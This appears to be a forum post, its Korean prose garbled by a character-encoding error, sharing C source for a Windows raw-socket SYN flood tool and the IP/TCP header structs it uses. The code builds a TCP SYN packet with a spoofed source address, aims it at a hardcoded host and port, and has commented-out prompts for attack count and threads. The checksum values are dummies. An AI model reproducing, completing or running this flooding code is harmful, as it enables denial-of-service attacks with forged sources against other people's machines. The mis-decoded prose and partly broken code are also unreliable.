#include <Winsock2.h>
#include <Ws2tcpip.h>
#include <stdio.h>
#include <conio.h>
#include "SynFlooding.h"
unsigned char packet[40];
unsigned char test[] = {0x45,0x00,0x00,0x28,0x64,0x7a,0x00,0x00,0x80,0xff,0xd8,0x74,0xc0,0xa8,0x00,0x1c,0xc0,0xa8,0x7b,0x7b};
SOCKET hSock;
BOOL MakePacket(char *_ip, short _port);
int main()
{
char ip[] = "192.168.123.123";
short port = 8282;
// printf("Insert IP_ADDR : ");
// scanf("%s",ip);
// printf("Insert PORT_NUM : ");
// scanf("%d",&port);
// printf("Insert ATTACK_NUM: ");
// scanf("%d",&attack_num);
// printf("Insert USED_THREAD: ");
// scanf("%d",&thread_num);
// printf("ATTACK IP is %s , PORT is %d \n",ip,port);
MakePacket(ip,port);
// getch();
WSADATA wsaData;
if( WSAStartup( MAKEWORD( 2,2), &wsaData ) != 0 )
{
puts("Initrize Error");
getch();
exit(1);
}
hSock = socket( AF_INET, SOCK_RAW, IPPROTO_RAW);
if ( INVALID_SOCKET == hSock ){
printf("SOCKET ERROR : %u\n",WSAGetLastError());
WSACleanup();
getch();
exit(1);
}
DWORD Opt = 1;
SOCKADDR_IN addr;
memset( &addr, 0,sizeof(SOCKADDR_IN));
addr.sin_addr.s_addr = inet_addr( ip );
addr.sin_family = AF_INET;
addr.sin_port = htons( port );
if( 0 != setsockopt(hSock, IPPROTO_IP, IP_HDRINCL, (char*)&Opt,sizeof(Opt))){
printf("SETSOCKET ERROR! : %u\n",WSAGetLastError());
WSACleanup();
getch();
exit(1);
}
if( SOCKET_ERROR == sendto(hSock ,(char*)test,sizeof(test)+20, 0, (SOCKADDR*) &addr, sizeof(addr)) ){
printf("SENDTO ERROR : %u\n",WSAGetLastError());
if( hSock == NULL ) printf("!!!\n");
WSACleanup();
getch();
exit(1);
}
if( SOCKET_ERROR == sendto(hSock ,(char*)packet,sizeof(packet), 0, (SOCKADDR*) &addr, sizeof(addr)) ){
printf("SENDTO ERROR : %u\n",WSAGetLastError());
if( hSock == NULL ) printf("!!!\n");
WSACleanup();
getch();
exit(1);
}
getch();
return 0;
}
BOOL MakePacket(char *_ip, short _port)
{
memset( packet, 0, 40 );
IP_HEAD *IP = ( IP_HEAD* )packet;
IP->Version = 4;
IP->IHL = 5;
IP->TL = htons( 40 );
IP->Sort = htons( 25722 );
IP->TTL = 128;
IP->Protocol = 6;
IP->Check = 299;
IP->destination_ip = inet_addr( _ip );
IP->start_ip = inet_addr( "192.168.0.28" );
TCP_HEAD *TCP = ( TCP_HEAD* ) ( packet + 20 );
TCP->start_port = htons( _port );
TCP->destination_port = htons( _port );
TCP->Sequence = htonl( 82828282 );
TCP->AckNum = htonl( 58585858 );
TCP->Offset = 5;
TCP->SYN = 1;
TCP->Window = htons( 512 );
TCP->check = 1;
return 0;
}
ÀÌÁ¦ main ºÎºÐÀÌ°í¿ä, SynFlooding.h´Â
struct IP_HEAD{
unsigned char IHL : 4;
unsigned char Version : 4;
unsigned char TOS : 8;
unsigned short TL : 16;
unsigned short Sort : 16;
unsigned short Flag : 3;
unsigned short Offset : 13;
unsigned char TTL : 8;
unsigned char Protocol : 8;
unsigned short Check : 16;
unsigned long start_ip : 32;
unsigned long destination_ip: 32;
};
struct TCP_HEAD{
unsigned short start_port;
unsigned short destination_port;
unsigned long Sequence;
unsigned long AckNum;
unsigned short Offset : 4;
unsigned short Reserved : 6;
unsigned char URG : 1;
unsigned char ACK : 1;
unsigned char PSH : 1;
unsigned char RST : 1;
unsigned char SYN : 1;
unsigned char FIN : 1;
unsigned short Window;
unsigned short check;
unsigned short emergency;
};
ÀÌ°Å¿¡¿ä - _-;;
Å×½ºÆ® ÇÑ´Ù°í Äڵ尡 Á» ¾û¸ÁÀ̱â´ÂÇØ¿ä;;
±×¸®°í test´Â ¾Æ¹«¹®Á¦¾ø´Â( ¾à°£ÀÇ ¹®Á¦´Â ÀÖÁö¸¸ ) ±×³É ÆÐŶÇϳª¸¦ ºÙÀâ¾Æ¼ ¹ÙÀÌÆ® ´ÜÀ§·Î Àû¾î³õÀº°Å¿¡¿ä;
IP->Protocol = 6; ( IP 6¹øÀÌÁÒ... 8¹ø EGP´Â µÇ°í... 6Àº¾ÈµÇ°í... ÀÌ»óÇÔ ¤Ð_¤Ð ) |